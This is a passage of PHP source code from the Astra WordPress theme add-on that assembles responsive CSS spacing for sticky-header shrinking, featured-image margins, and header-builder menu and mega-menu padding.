'.ast-separate-container.ast-single-post .ast-article-single.remove-featured-img-padding .single-layout-1 .entry-header .post-thumb-img-content:first-child, .ast-separate-container.ast-single-post .ast-article-single.remove-featured-img-padding .single-layout-1 .post-thumb-img-content' => array( 'margin-left' => ( isset( $single_post_inside_spacing['desktop']['left'] ) && ( '' != $single_post_inside_spacing['desktop']['left'] ) ? ( '-' . astra_responsive_spacing( $single_post_inside_spacing, 'left', 'desktop' ) ) : '' ), 'margin-right' => ( isset( $single_post_inside_spacing['desktop']['right'] ) && ( '' != $single_post_inside_spacing['desktop']['right'] ) ? ( '-' . astra_responsive_spacing( $single_post_inside_spacing, 'right', 'desktop' ) ) : '' ), ), ); $spacing_css_output .= astra_parse_css( $remove_single_post_featured_image_margin_top ); $remove_single_post_featured_image_margin_top_tablet = array( '.ast-separate-container.ast-single-post .ast-article-single.remove-featured-img-padding .single-layout-1 .entry-header .post-thumb-img-content:first-child' => array( 'margin-top' => ( isset( $single_post_inside_spacing['tablet']['top'] ) && ( '' != $single_post_inside_spacing['tablet']['top'] ) ? ( '-' . astra_responsive_spacing( $single_post_inside_spacing, 'top', 'tablet' ) ) : '' ), ), '.ast-separate-container.ast-single-post .ast-article-single.remove-featured-img-padding .single-layout-1 .entry-header .post-thumb-img-content:first-child, .ast-separate-container.ast-single-post .ast-article-single.remove-featured-img-padding .single-layout-1 .post-thumb-img-content' => array( 'margin-left' => ( isset( $single_post_inside_spacing['tablet']['left'] ) && ( '' != $single_post_inside_spacing['tablet']['left'] ) ? ( '-' . astra_responsive_spacing( $single_post_inside_spacing, 'left', 'tablet' ) ) : '' ), 'margin-right' => ( isset( $single_post_inside_spacing['tablet']['right'] ) && ( '' != $single_post_inside_spacing['tablet']['right'] ) ? ( '-' . astra_responsive_spacing( $single_post_inside_spacing, 'right', 'tablet' ) ) : '' ), ), ); $spacing_css_output .= astra_parse_css( $remove_single_post_featured_image_margin_top_tablet, '', astra_addon_get_tablet_breakpoint() ); $remove_single_post_featured_image_margin_top_mobile = array( '.ast-separate-container.ast-single-post .ast-article-single.remove-featured-img-padding .single-layout-1 .entry-header .post-thumb-img-content:first-child' => array( 'margin-top' => ( isset( $single_post_inside_spacing['mobile']['top'] ) && ( '' != $single_post_inside_spacing['mobile']['top'] ) ? ( '-' . astra_responsive_spacing( $single_post_inside_spacing, 'top', 'mobile' ) ) : '' ), ), '.ast-separate-container.ast-single-post .ast-article-single.remove-featured-img-padding .single-layout-1 .entry-header .post-thumb-img-content:first-child, .ast-separate-container.ast-single-post .ast-article-single.remove-featured-img-padding .single-layout-1 .post-thumb-img-content' => array( 'margin-left' => ( isset( $single_post_inside_spacing['mobile']['left'] ) && ( '' != $single_post_inside_spacing['mobile']['left'] ) ? ( '-' . astra_responsive_spacing( $single_post_inside_spacing, 'left', 'mobile' ) ) : '' ), 'margin-right' => ( isset( $single_post_inside_spacing['mobile']['right'] ) && ( '' != $single_post_inside_spacing['mobile']['right'] ) ? ( '-' . astra_responsive_spacing( $single_post_inside_spacing, 'right', 'mobile' ) ) : '' ), ), ); $spacing_css_output .= astra_parse_css( $remove_single_post_featured_image_margin_top_mobile, '', astra_addon_get_mobile_breakpoint() ); } /** * Sticky Header - Shrink realted spacing * Remove Top, Bottom spacing from Site Identity, Header Spacing, Primary Menu and Add default Sub menu top */ if ( Astra_Ext_Extension::is_active( 'sticky-header' ) && ( $stick_header_main || $stick_header_main_meta ) && $header_main_shrink ) { /** * Site Identity Spacing */ $remove_header_shrink_padding = array( '.site-header .ast-sticky-shrunk .ast-site-identity, .ast-sticky-shrunk .main-header-menu > .menu-item > .menu-link, .ast-sticky-shrunk li.ast-masthead-custom-menu-items' => array( 'padding-top' => astra_get_css_value( 0, 'px' ), 'padding-bottom' => astra_get_css_value( 0, 'px' ), ), // Remove Priamry submenu top-bottom padding for responsive devices. ' .ast-header-break-point .ast-sticky-shrunk .main-navigation .sub-menu .menu-item .menu-link' => array( 'padding-top' => astra_get_css_value( 0, 'px' ), 'padding-bottom' => astra_get_css_value( 0, 'px' ), ), '.ast-sticky-shrunk .main-header-menu .sub-menu .menu-link' => array( 'padding-top' => astra_get_css_value( 0.9, 'em' ), 'padding-bottom' => astra_get_css_value( 0.9, 'em' ), ), '.site-header .ast-sticky-shrunk .ast-site-identity, .ast-sticky-shrunk li.ast-masthead-custom-menu-items' => array( 'padding-top' => astra_get_css_value( 0.5, 'em' ), 'padding-bottom' => astra_get_css_value( 0.5, 'em' ), ), // Remove Priamry submenu top-bottom padding for responsive devices. ' .ast-header-break-point .ast-sticky-shrunk .main-navigation .sub-menu .menu-item .menu-link' => array( 'padding-top' => astra_get_css_value( 0, 'px' ), 'padding-bottom' => astra_get_css_value( 0, 'px' ), ), '.ast-sticky-shrunk .main-header-menu .sub-menu .menu-link' => array( 'padding-top' => astra_get_css_value( 0.9, 'em' ), 'padding-bottom' => astra_get_css_value( 0.9, 'em' ), ), ); $spacing_css_output .= astra_parse_css( $remove_header_shrink_padding ); } if ( true === astra_addon_builder_helper()->is_header_footer_builder_active && Astra_Ext_Extension::is_active( 'sticky-header' ) && ( $stick_header_main || $stick_header_main_meta || $stick_header_above || $stick_header_above_meta || $stick_header_below || $stick_header_below_meta ) && $header_main_shrink ) { $hb_header_height = astra_get_option( 'hb-header-height' ); $hba_header_height = astra_get_option( 'hba-header-height' ); $hbb_header_height = astra_get_option( 'hbb-header-height' ); $hb_header_height_desktop = ( isset( $hb_header_height['desktop'] ) && is_numeric( $hb_header_height['desktop'] ) ) ? $hb_header_height['desktop'] - 10 : ''; $hb_header_height_tablet = ( isset( $hb_header_height['tablet'] ) && is_numeric( $hb_header_height['tablet'] ) ) ? $hb_header_height['tablet'] - 10 : ''; $hb_header_height_mobile = ( isset( $hb_header_height['mobile'] ) && is_numeric( $hb_header_height['mobile'] ) ) ? $hb_header_height['mobile'] - 10 : ''; $hba_header_height_desktop = ( isset( $hba_header_height['desktop'] ) && is_numeric( $hba_header_height['desktop'] ) ) ? $hba_header_height['desktop'] - 10 : ''; $hba_header_height_tablet = ( isset( $hba_header_height['tablet'] ) && is_numeric( $hba_header_height['tablet'] ) ) ? $hba_header_height['tablet'] - 10 : ''; $hba_header_height_mobile = ( isset( $hba_header_height['mobile'] ) && is_numeric( $hba_header_height['mobile'] ) ) ? $hba_header_height['mobile'] - 10 : ''; $hbb_header_height_desktop = ( isset( $hbb_header_height['desktop'] ) && is_numeric( $hbb_header_height['desktop'] ) ) ? $hbb_header_height['desktop'] - 10 : ''; $hbb_header_height_tablet = ( isset( $hbb_header_height['tablet'] ) && is_numeric( $hbb_header_height['tablet'] ) ) ? $hbb_header_height['tablet'] - 10 : ''; $hbb_header_height_mobile = ( isset( $hbb_header_height['mobile'] ) && is_numeric( $hbb_header_height['mobile'] ) ) ? $hbb_header_height['mobile'] - 10 : ''; $css_output_shrink_desktop = array( // Primary Header Shrink for Desktop & mobile. '.ast-sticky-header-shrink .ast-primary-header-bar.ast-header-sticked, .ast-sticky-header-shrink .ast-primary-header-bar.ast-header-sticked .site-primary-header-wrap, .ast-header-sticked .ast-primary-header-bar .site-primary-header-wrap, .ast-sticky-header-shrink .ast-mobile-header-wrap .ast-primary-header-bar.ast-header-sticked, .ast-sticky-header-shrink .ast-mobile-header-wrap .ast-stick-primary-below-wrapper.ast-header-sticked .ast-below-header , .ast-sticky-header-shrink .ast-stick-primary-below-wrapper.ast-header-sticked .ast-primary-header-bar .site-primary-header-wrap' => array( 'min-height' => astra_get_css_value( $hb_header_height_desktop, 'px' ), ), '.ast-desktop.ast-sticky-header-shrink .ast-primary-header-bar.ast-header-sticked .main-header-menu > .menu-item' => array( 'line-height' => astra_get_css_value( $hb_header_height_desktop, 'px' ), ), // Above Header Shrink for Desktop & mobile. '.ast-sticky-header-shrink .ast-above-header-bar.ast-header-sticked .site-above-header-wrap, .ast-sticky-header-shrink .ast-above-header-bar.ast-header-sticked .site-above-header-wrap, .ast-header-sticked .ast-above-header-bar .site-above-header-wrap, .ast-header-sticked .ast-above-header-bar, .ast-sticky-header-shrink .ast-mobile-header-wrap .ast-above-header-bar.ast-header-sticked' => array( 'min-height' => astra_get_css_value( $hba_header_height_desktop, 'px' ), ), '.ast-desktop.ast-sticky-header-shrink .ast-above-header-bar.ast-header-sticked .main-header-menu > .menu-item' => array( 'line-height' => astra_get_css_value( $hba_header_height_desktop, 'px' ), ), // Below Header Shrink for Desktop & mobile. '.ast-sticky-header-shrink .ast-below-header-bar.ast-header-sticked, .ast-sticky-header-shrink .ast-below-header-bar.ast-header-sticked .site-below-header-wrap, .ast-sticky-header-shrink .ast-below-header-bar.ast-header-sticked.site-below-header-wrap, .ast-header-sticked .ast-below-header-bar .site-below-header-wrap, .ast-sticky-header-shrink .ast-mobile-header-wrap .ast-below-header-bar.ast-header-sticked .site-below-header-wrap' => array( 'min-height' => astra_get_css_value( $hbb_header_height_desktop, 'px' ), ), '.ast-desktop.ast-sticky-header-shrink .ast-below-header-bar.ast-header-sticked .main-header-menu > .menu-item' => array( 'line-height' => astra_get_css_value( $hbb_header_height_desktop, 'px' ), ), ); $css_output_shrink_tablet = array( // Primary Header Shrink for tablet & mobile. '.ast-sticky-header-shrink .ast-primary-header-bar.ast-header-sticked, .ast-sticky-header-shrink .ast-primary-header-bar.ast-header-sticked, .ast-header-sticked .ast-primary-header-bar, .ast-sticky-header-shrink .ast-stick-primary-below-wrapper.ast-header-sticked' => array( 'min-height' => astra_get_css_value( $hb_header_height_tablet, 'px' ), ), // Above Header Shrink for tablet & mobile. '.ast-sticky-header-shrink .ast-above-header-bar.ast-header-sticked .site-above-header-wrap, .ast-sticky-header-shrink .ast-above-header-bar.ast-header-sticked .site-above-header-wrap, .ast-header-sticked .ast-above-header-bar .site-above-header-wrap, .ast-header-sticked .ast-above-header-bar' => array( 'min-height' => astra_get_css_value( $hba_header_height_tablet, 'px' ), ), // Below Header Shrink for tablet & mobile. '.ast-sticky-header-shrink .ast-below-header-bar.ast-header-sticked, .ast-sticky-header-shrink .ast-below-header-bar.ast-header-sticked .site-below-header-wrap, .ast-sticky-header-shrink .ast-below-header-bar.ast-header-sticked.site-below-header-wrap, .ast-header-sticked .ast-below-header-bar .site-below-header-wrap' => array( 'min-height' => astra_get_css_value( $hbb_header_height_tablet, 'px' ), ), ); $css_output_shrink_mobile = array( // Primary Header Shrink for mobile & mobile. '.ast-sticky-header-shrink .ast-primary-header-bar.ast-header-sticked, .ast-sticky-header-shrink .ast-primary-header-bar.ast-header-sticked, .ast-header-sticked .ast-primary-header-bar, .ast-sticky-header-shrink .ast-stick-primary-below-wrapper.ast-header-sticked' => array( 'min-height' => astra_get_css_value( $hb_header_height_mobile, 'px' ), ), // Above Header Shrink for mobile & mobile. '.ast-sticky-header-shrink .ast-above-header-bar.ast-header-sticked .site-above-header-wrap, .ast-sticky-header-shrink .ast-above-header-bar.ast-header-sticked .site-above-header-wrap, .ast-header-sticked .ast-above-header-bar .site-above-header-wrap, .ast-header-sticked .ast-above-header-bar' => array( 'min-height' => astra_get_css_value( $hba_header_height_mobile, 'px' ), ), // Below Header Shrink for mobile & mobile. '.ast-sticky-header-shrink .ast-below-header-bar.ast-header-sticked, .ast-sticky-header-shrink .ast-below-header-bar.ast-header-sticked .site-below-header-wrap, .ast-sticky-header-shrink .ast-below-header-bar.ast-header-sticked.site-below-header-wrap, .ast-header-sticked .ast-below-header-bar .site-below-header-wrap' => array( 'min-height' => astra_get_css_value( $hbb_header_height_mobile, 'px' ), ), ); $spacing_css_output .= astra_parse_css( $css_output_shrink_desktop ); $spacing_css_output .= astra_parse_css( $css_output_shrink_tablet, '', astra_addon_get_tablet_breakpoint() ); $spacing_css_output .= astra_parse_css( $css_output_shrink_mobile, '', astra_addon_get_mobile_breakpoint() ); } /** * Header Builder Menu - Spacing. */ if ( true === astra_addon_builder_helper()->is_header_footer_builder_active ) { $num_of_header_menu = astra_addon_builder_helper()->num_of_header_menu; for ( $index = 1; $index <= $num_of_header_menu; $index++ ) { if ( ! Astra_Addon_Builder_Helper::is_component_loaded( 'menu-' . $index, 'header' ) ) { continue; } $_prefix = 'menu' . $index; $_section = 'section-hb-menu-' . $index; $selector = '.ast-builder-menu-' . $index . ' .main-header-menu'; $sub_menu_spacing = astra_get_option( 'header-' . $_prefix . '-submenu-spacing' ); $mega_menu_heading_spacing = astra_get_option( 'header-' . $_prefix . '-megamenu-heading-space' ); $sub_menu_border = astra_get_option( 'header-' . $_prefix . '-submenu-border' ); $sub_menu_border_top = ( isset( $sub_menu_border ) && ! empty( $sub_menu_border['top'] ) ) ? $sub_menu_border['top'] : 0; $sub_menu_border_bottom = ( isset( $sub_menu_border ) && ! empty( $sub_menu_border['bottom'] ) ) ? $sub_menu_border['bottom'] : 0; $sub_menu_border_right = ( isset( $sub_menu_border ) && ! empty( $sub_menu_border['right'] ) ) ? $sub_menu_border['right'] : 0; $sub_menu_border_left = ( isset( $sub_menu_border ) && ! empty( $sub_menu_border['left'] ) ) ? $sub_menu_border['left'] : 0; // SubMenu Spacing. // - Desktop $sub_menu_desktop_spacing_top = ( isset( $sub_menu_spacing['desktop']['top'] ) ) ? $sub_menu_spacing['desktop']['top'] : ''; $sub_menu_desktop_spacing_bottom = ( isset( $sub_menu_spacing['desktop']['bottom'] ) ) ? $sub_menu_spacing['desktop']['bottom'] : ''; $sub_menu_desktop_spacing_right = ( isset( $sub_menu_spacing['desktop']['right'] ) ) ? $sub_menu_spacing['desktop']['right'] : ''; $sub_menu_desktop_spacing_left = ( isset( $sub_menu_spacing['desktop']['left'] ) ) ? $sub_menu_spacing['desktop']['left'] : ''; $sub_menu_desktop_spacing_unit = ( isset( $sub_menu_spacing['desktop-unit'] ) && ! empty( $sub_menu_spacing['desktop-unit'] ) ) ? $sub_menu_spacing['desktop-unit'] : 'px'; // - Tablet. $sub_menu_tablet_spacing_top = ( isset( $sub_menu_spacing['tablet']['top'] ) ) ? $sub_menu_spacing['tablet']['top'] : ''; $sub_menu_tablet_spacing_bottom = ( isset( $sub_menu_spacing['tablet']['bottom'] ) ) ? $sub_menu_spacing['tablet']['bottom'] : ''; $sub_menu_tablet_spacing_right = ( isset( $sub_menu_spacing['tablet']['right'] ) ) ? $sub_menu_spacing['tablet']['right'] : ''; $sub_menu_tablet_spacing_left = ( isset( $sub_menu_spacing['tablet']['left'] ) ) ? $sub_menu_spacing['tablet']['left'] : ''; $sub_menu_tablet_spacing_unit = ( isset( $sub_menu_spacing['tablet-unit'] ) && ! empty( $sub_menu_spacing['tablet-unit'] ) ) ? $sub_menu_spacing['tablet-unit'] : 'px'; // - Mobile. $sub_menu_mobile_spacing_top = ( isset( $sub_menu_spacing['mobile']['top'] ) ) ? $sub_menu_spacing['mobile']['top'] : ''; $sub_menu_mobile_spacing_bottom = ( isset( $sub_menu_spacing['mobile']['bottom'] ) ) ? $sub_menu_spacing['mobile']['bottom'] : ''; $sub_menu_mobile_spacing_right = ( isset( $sub_menu_spacing['mobile']['right'] ) ) ? $sub_menu_spacing['mobile']['right'] : ''; $sub_menu_mobile_spacing_left = ( isset( $sub_menu_spacing['mobile']['left'] ) ) ? $sub_menu_spacing['mobile']['left'] : ''; $sub_menu_mobile_spacing_unit = ( isset( $sub_menu_spacing['mobile-unit'] ) && ! empty( $sub_menu_spacing['mobile-unit'] ) ) ? $sub_menu_spacing['mobile-unit'] : 'px'; $css_output_desktop = array( // Sub Menu. $selector . ' .sub-menu .menu-link' => array( 'padding-top' => astra_get_css_value( $sub_menu_desktop_spacing_top, $sub_menu_desktop_spacing_unit ), 'padding-bottom' => astra_get_css_value( $sub_menu_desktop_spacing_bottom, $sub_menu_desktop_spacing_unit ), 'padding-left' => astra_get_css_value( $sub_menu_desktop_spacing_left, $sub_menu_desktop_spacing_unit ), 'padding-right' => astra_get_css_value( $sub_menu_desktop_spacing_right, $sub_menu_desktop_spacing_unit ), ), $selector . '.submenu-with-border .astra-megamenu, ' . $selector . '.submenu-with-border .astra-full-megamenu-wrapper' => array( 'border-top-width' => astra_get_css_value( $sub_menu_border_top, 'px' ), 'border-bottom-width' => astra_get_css_value( $sub_menu_border_bottom, 'px' ), 'border-right-width' => astra_get_css_value( $sub_menu_border_right, 'px' ), 'border-left-width' => astra_get_css_value( $sub_menu_border_left, 'px' ), 'border-color' => esc_attr( astra_get_option( 'header-' . $_prefix . '-submenu-b-color' ) ), 'border-style' => 'solid', ), ); $mobile_selector = '.ast-header-break-point .ast-builder-menu-' . $index; $sub_menu_spacing_tablet_top = astra_responsive_spacing( $sub_menu_spacing, 'top', 'tablet' ); if ( isset( $sub_menu_spacing_tablet_top ) && '' === $sub_menu_spacing_tablet_top && isset( $sub_menu_spacing_desktop_top ) && '' !== $sub_menu_spacing_desktop_top && 0 !== $sub_menu_spacing_desktop_top ) { $sub_menu_spacing_tablet_top = $sub_menu_spacing_desktop_top; } $sub_menu_spacing_tablet_top = ( isset( $sub_menu_spacing_tablet_top ) && ! empty( $sub_menu_spacing_tablet_top ) ) ? $sub_menu_spacing_tablet_top : 0; $sub_menu_spacing_mobile_top = astra_responsive_spacing( $sub_menu_spacing, 'top', 'mobile' ); if ( isset( $sub_menu_spacing_mobile_top ) && '' === $sub_menu_spacing_mobile_top && isset( $sub_menu_spacing_tablet_top ) && '' !== $sub_menu_spacing_tablet_top && 0 !== $sub_menu_spacing_tablet_top ) { $sub_menu_spacing_mobile_top = $sub_menu_spacing_tablet_top; } $sub_menu_spacing_mobile_top = ( isset( $sub_menu_spacing_mobile_top ) && ! empty( $sub_menu_spacing_mobile_top ) ) ? $sub_menu_spacing_mobile_top : 0; $css_output_tablet = array( // Sub Menu. '.ast-header-break-point ' . $selector . ' .sub-menu > .menu-item > .menu-link' => array( 'padding-top' => astra_get_css_value( $sub_menu_tablet_spacing_top, $sub_menu_tablet_spacing_unit ), 'padding-bottom' => astra_get_css_value( $sub_menu_tablet_spacing_bottom, $sub_menu_tablet_spacing_unit ), 'padding-left' => astra_get_css_value( $sub_menu_tablet_spacing_left, $sub_menu_tablet_spacing_unit ), 'padding-right' => astra_get_css_value( $sub_menu_tablet_spacing_right, $sub_menu_tablet_spacing_unit ), ), $mobile_selector . ' .sub-menu .menu-item.menu-item-has-children > .ast-menu-toggle' => array( 'top' => $sub_menu_spacing_tablet_top, 'right' => class_exists( 'Astra_Addon_Builder_Helper' ) ? astra_calc_spacing( astra_responsive_spacing( $sub_menu_spacing, 'right', 'tablet' ), '-', '0.907', 'em' ) : '', ), ); $css_output_mobile = array( // Sub Menu. '.ast-header-break-point ' . $selector . ' .sub-menu > .menu-item > .menu-link' => array( 'padding-top' => astra_get_css_value( $sub_menu_mobile_spacing_top, $sub_menu_mobile_spacing_unit ), 'padding-bottom' => astra_get_css_value( $sub_menu_mobile_spacing_bottom, $sub_menu_mobile_spacing_unit ), 'padding-left' => astra_get_css_value( $sub_menu_mobile_spacing_left, $sub_menu_mobile_spacing_unit ), 'padding-right' => astra_get_css_value( $sub_menu_mobile_spacing_right, $sub_menu_mobile_spacing_unit ), ), $mobile_selector . ' .sub-menu .menu-item.menu-item-has-children > .ast-menu-toggle' => array( 'top' => $sub_menu_spacing_mobile_top, 'right' => class_exists( 'Astra_Addon_Builder_Helper' ) ? astra_calc_spacing( astra_responsive_spacing( $sub_menu_spacing, 'right', 'mobile' ), '-', '0.907', 'em' ) : '', ), ); if ( 3 > $index ) { // Mega Menu heading Spacing. // - Desktop $mega_menu_desktop_spacing_top = ( isset( $mega_menu_heading_spacing['desktop']['top'] ) ) ? $mega_menu_heading_spacing['desktop']['top'] : ''; $mega_menu_desktop_spacing_bottom = ( isset( $mega_menu_heading_spacing['desktop']['bottom'] ) ) ? $mega_menu_heading_spacing['desktop']['bottom'] : ''; $mega_menu_desktop_spacing_right = ( isset( $mega_menu_heading_spacing['desktop']['right'] ) ) ? $mega_menu_heading_spacing['desktop']['right'] : ''; $mega_menu_desktop_spacing_left = ( isset( $mega_menu_heading_spacing['desktop']['left'] ) ) ? $mega_menu_heading_spacing['desktop']['left'] : ''; $mega_menu_desktop_spacing_unit = ( isset( $mega_menu_heading_spacing['desktop-unit'] ) && ! empty( $mega_menu_heading_spacing['desktop-unit'] ) ) ? $mega_menu_heading_spacing['desktop-unit'] : 'px'; // - Tablet. $mega_menu_tablet_spacing_top = ( isset( $mega_menu_heading_spacing['tablet']['top'] ) ) ? $mega_menu_heading_spacing['tablet']['top'] : ''; $mega_menu_tablet_spacing_bottom = ( isset( $mega_menu_heading_spacing['tablet']['bottom'] ) ) ? $mega_menu_heading_spacing['tablet']['bottom'] : ''; $mega_menu_tablet_spacing_right = ( isset( $mega_menu_heading_spacing['tablet']['right'] ) ) ? $mega_menu_heading_spacing['tablet']['right'] : ''; $mega_menu_tablet_spacing_left = ( isset( $mega_menu_heading_spacing['tablet']['left'] ) ) ? $mega_menu_heading_spacing['tablet']['left'] : ''; $mega_menu_tablet_spacing_unit = ( isset( $mega_menu_heading_spacing['tablet-unit'] ) && ! empty( $mega_menu_heading_spacing['tablet-unit'] ) ) ? $mega_menu_heading_spacing['tablet-unit'] : 'px'; // - Mobile. $mega_menu_mobile_spacing_top = ( isset( $mega_menu_heading_spacing['mobile']['top'] ) ) ? $mega_menu_heading_spacing['mobile']['top'] : ''; $mega_menu_mobile_spacing_bottom = ( isset( $mega_menu_heading_spacing['mobile']['bottom'] ) ) ? $mega_menu_heading_spacing['mobile']['bottom'] : ''; $mega_menu_mobile_spacing_right = ( isset( $mega_menu_heading_spacing['mobile']['right'] ) ) ? $mega_menu_heading_spacing['mobile']['right'] : ''; $mega_menu_mobile_spacing_left = ( isset( $mega_menu_heading_spacing['mobile']['left'] ) ) ? $mega_menu_heading_spacing['mobile']['left'] : ''; $mega_menu_mobile_spacing_unit = ( isset( $mega_menu_heading_spacing['mobile-unit'] ) && ! empty( $mega_menu_heading_spacing['mobile-unit'] ) ) ? $mega_menu_heading_spacing['mobile-unit'] : 'px'; $css_megamenu_output_desktop = array( // Mega Menu. $selector . ' .menu-item.menu-item-heading > .menu-link' => array( 'padding-top' => astra_get_css_value( $mega_menu_desktop_spacing_top, $mega_menu_desktop_spacing_unit ), 'padding-bottom' => astra_get_css_value( $mega_menu_desktop_spacing_bottom, $mega_menu_desktop_spacing_unit ), 'padding-left' => astra_get_css_value( $mega_menu_desktop_spacing_left, $mega_menu_desktop_spacing_unit ), 'padding-right' => astra_get_css_value( $mega_menu_desktop_spacing_right, $mega_menu_desktop_spacing_unit ), ), ); $css_megamenu_output_tablet = array( // Mega Menu. '.ast-header-break-point ' . $selector . ' .menu-item.menu-item-heading > .menu-link' => array( 'padding-top' => astra_get_css_value( $mega_menu_tablet_spacing_top, $mega_menu_tablet_spacing_unit ), 'padding-bottom' => astra_get_css_value( $mega_menu_tablet_spacing_bottom, $mega_menu_tablet_spacing_unit ), 'padding-left' => astra_get_css_value( $mega_menu_tablet_spacing_left, $mega_menu_tablet_spacing_unit ), 'padding-right' => astra_get_css_value( $mega_menu_tablet_spacing_right, $mega_menu_tablet_spacing_unit ), ), ); $css_megamenu_output_mobile = array( // Mega Menu. '.ast-header-break-point ' . $selector . ' .menu-item.menu-item-heading > .menu-link' => array( 'padding-top' => astra_get_css_value( $mega_menu_mobile_spacing_top, $mega_menu_mobile_spacing_unit ), 'padding-bottom' => astra_get_css_value( $mega_menu_mobile_spacing_bottom, $mega_menu_mobile_spacing_unit ), 'padding-left' => astra_get_css_value( $mega_menu_mobile_spacing_left, $mega_menu_mobile_spacing_unit ), 'padding-right' => astra_get_css_value( $mega_menu_mobile_spacing_right, $mega_menu_mobile_spacing_unit ), ), ); $spacing_css_output .= astra_parse_css( $css_megamenu_output_desktop ); $spacing_css_output .= astra_parse_css( $css_megamenu_output_tablet, '', astra_addon_get_tablet_breakpoint() ); $spacing_css_output .= astra_parse_css( $css_megamenu_output_mobile, '', astra_addon_get_mobile_breakpoint() ); } $spacing_css_output .= astra_parse_css( $css_output_desktop ); $spacing_css_output .= astra_parse_css( $css_output_tablet, '', astra_addon_get_tablet_breakpoint() ); $spacing_css_output .= astra_parse_css( $css_output_mobile, '', astra_addon_get_mobile_breakpoint() ); } if ( is_callable( 'Astra_Addon_Builder_Helper::is_component_loaded' ) && Astra_Addon_Builder_Helper::is_component_loaded( 'mobile-menu', 'header', 'mobile' ) ) { $selector = '.ast-hfb-header .ast-builder-menu-mobile'; $sub_menu_spacing = astra_get_option( 'header-mobile-menu-submenu-spacing' ); // SubMenu Spacing. // - Desktop. $sub_menu_desktop_spacing_top = ( isset( $sub_menu_spacing['desktop']['top'] ) && ! empty( $sub_menu_spacing['desktop']['top'] ) ) ? $sub_menu_spacing['desktop']['top'] : ''; $sub_menu_desktop_spacing_bottom = ( isset( $sub_menu_spacing['desktop']['bottom'] ) && ! empty( $sub_menu_spacing['desktop']['bottom'] ) ) ? $sub_menu_spacing['desktop']['bottom'] : ''; $sub_menu_desktop_spacing_right = ( isset( $sub_menu_spacing['desktop']['right'] ) && ! empty( $sub_menu_spacing['desktop']['right'] ) ) ? $sub_menu_spacing['desktop']['right'] : ''; $sub_menu_desktop_spacing_left = ( isset( $sub_menu_spacing['desktop']['left'] ) && ! empty( $sub_menu_spacing['desktop']['left'] ) ) ? $sub_menu_spacing['desktop']['left'] : ''; $sub_menu_desktop_spacing_unit = ( isset( $sub_menu_spacing['desktop-unit'] ) && ! empty( $sub_menu_spacing['desktop-unit'] ) ) ? $sub_menu_spacing['desktop-unit'] : ''; // - Tablet. $sub_menu_tablet_spacing_top = ( isset( $sub_menu_spacing['tablet']['top'] ) && ! empty( $sub_menu_spacing['tablet']['top'] ) ) ? $sub_menu_spacing['tablet']['top'] : ''; $sub_menu_tablet_spacing_bottom = ( isset( $sub_menu_spacing['tablet']['bottom'] ) && ! empty( $sub_menu_spacing['tablet']['bottom'] ) ) ? $sub_menu_spacing['tablet']['bottom'] : ''; $sub_menu_tablet_spacing_right = ( isset( $sub_menu_spacing['tablet']['right'] ) && ! empty( $sub_menu_spacing['tablet']['right'] ) ) ? $sub_menu_spacing['tablet']['right'] : ''; $sub_menu_tablet_spacing_left = ( isset( $sub_menu_spacing['tablet']['left'] ) && ! empty( $sub_menu_spacing['tablet']['left'] ) ) ? $sub_menu_spacing['tablet']['left'] : ''; $sub_menu_tablet_spacing_unit = ( isset( $sub_menu_spacing['tablet-unit'] ) && ! empty( $sub_menu_spacing['tablet-unit'] ) ) ? $sub_menu_spacing['tablet-unit'] : ''; // - Mobile. $sub_menu_mobile_spacing_top = ( isset( $sub_menu_spacing['mobile']['top'] ) && ! empty( $sub_menu_spacing['mobile']['top'] ) ) ? $sub_menu_spacing['mobile']['top'] : ''; $sub_menu_mobile_spacing_bottom = ( isset( $sub_menu_spacing['mobile']['bottom'] ) && ! empty( $sub_menu_spacing['mobile']['bottom'] ) ) ? $sub_menu_spacing['mobile']['bottom'] : ''; $sub_menu_mobile_spacing_right = ( isset( $sub_menu_spacing['mobile']['right'] ) && ! empty( $sub_menu_spacing['mobile']['right'] ) ) ? $sub_menu_spacing['mobile']['right'] : ''; $sub_menu_mobile_spacing_left = ( isset( $sub_menu_spacing['mobile']['left'] ) && ! empty( $sub_menu_spacing['mobile']['left'] ) ) ? $sub_menu_spacing['mobile']['left'] : ''; $sub_menu_mobile_spacing_unit = ( isset( $sub_menu_spacing['mobile-unit'] ) && ! empty( $sub_menu_spacing['mobile-unit'] ) ) ? $sub_menu_spacing['mobile-unit'] : ''; $css_output_desktop = array( // Sub Menu. $selector . ' .ast-nav-menu .sub-menu .menu-item > .menu-link' => array( 'padding-top' => astra_get_css_value( $sub_menu_desktop_spacing_top, $sub_menu_desktop_spacing_unit ), 'padding-bottom' => astra_get_css_value( $sub_menu_desktop_spacing_bottom, $sub_menu_desktop_spacing_unit ), 'padding-left' => astra_get_css_value( $sub_menu_desktop_spacing_left, $sub_menu_desktop_spacing_unit ), 'padding-right' => astra_get_css_value( $sub_menu_desktop_spacing_right, $sub_menu_desktop_spacing_unit ), ), $selector . ' .ast-nav-menu .sub-menu .menu-item.menu-item-has-children > .ast-menu-toggle' => array( 'top' => astra_responsive_spacing( $sub_menu_spacing, 'top', 'desktop' ), 'right' => class_exists( 'Astra_Addon_Builder_Helper' ) ? astra_calc_spacing( astra_responsive_spacing( $sub_menu_spacing, 'right', 'desktop' ), '-', '0.907', 'em' ) : '', ), ); $css_output_tablet = array( // Sub Menu. $selector . ' .ast-nav-menu .sub-menu .menu-item > .menu-link' => array( 'padding-top' => astra_get_css_value( $sub_menu_tablet_spacing_top, $sub_menu_tablet_spacing_unit ), 'padding-bottom' => astra_get_css_value( $sub_menu_tablet_spacing_bottom, $sub_menu_tablet_spacing_unit ), 'padding-left' => astra_get_css_value( $sub_menu_tablet_spacing_left, $sub_menu_tablet_spacing_unit ), 'padding-right' => astra_get_css_value( $sub_menu_tablet_spacing_right, $sub_menu_tablet_spacing_unit ), ), $selector . ' .ast-nav-menu .sub-menu .menu-item.menu-item-has-children > .ast-menu-toggle' => array( 'top' => astra_responsive_spacing( $sub_menu_spacing, 'top', 'tablet' ), 'right' => class_exists( 'Astra_Addon_Builder_Helper' ) ? astra_calc_spacing( astra_responsive_spacing( $sub_menu_spacing, 'right', 'tablet' ), '-', '0.907', 'em' ) : '', ), ); $css_output_mobile = array( // Sub Menu. $selector . ' .ast-nav-menu .sub-menu .menu-item > .menu-link' => array( 'padding-top' => astra_get_css_value( $sub_menu_mobile_spacing_top, $sub_menu_mobile_spacing_unit ), 'padding-bottom' => astra_get_css_value( $sub_menu_mobile_spacing_bottom, $sub_menu_mobile_spacing_unit ), 'padding-left' => astra_get_css_value( $sub_menu_mobile_spacing_left, $sub_menu_mobile_spacing_unit ), 'padding-right' => 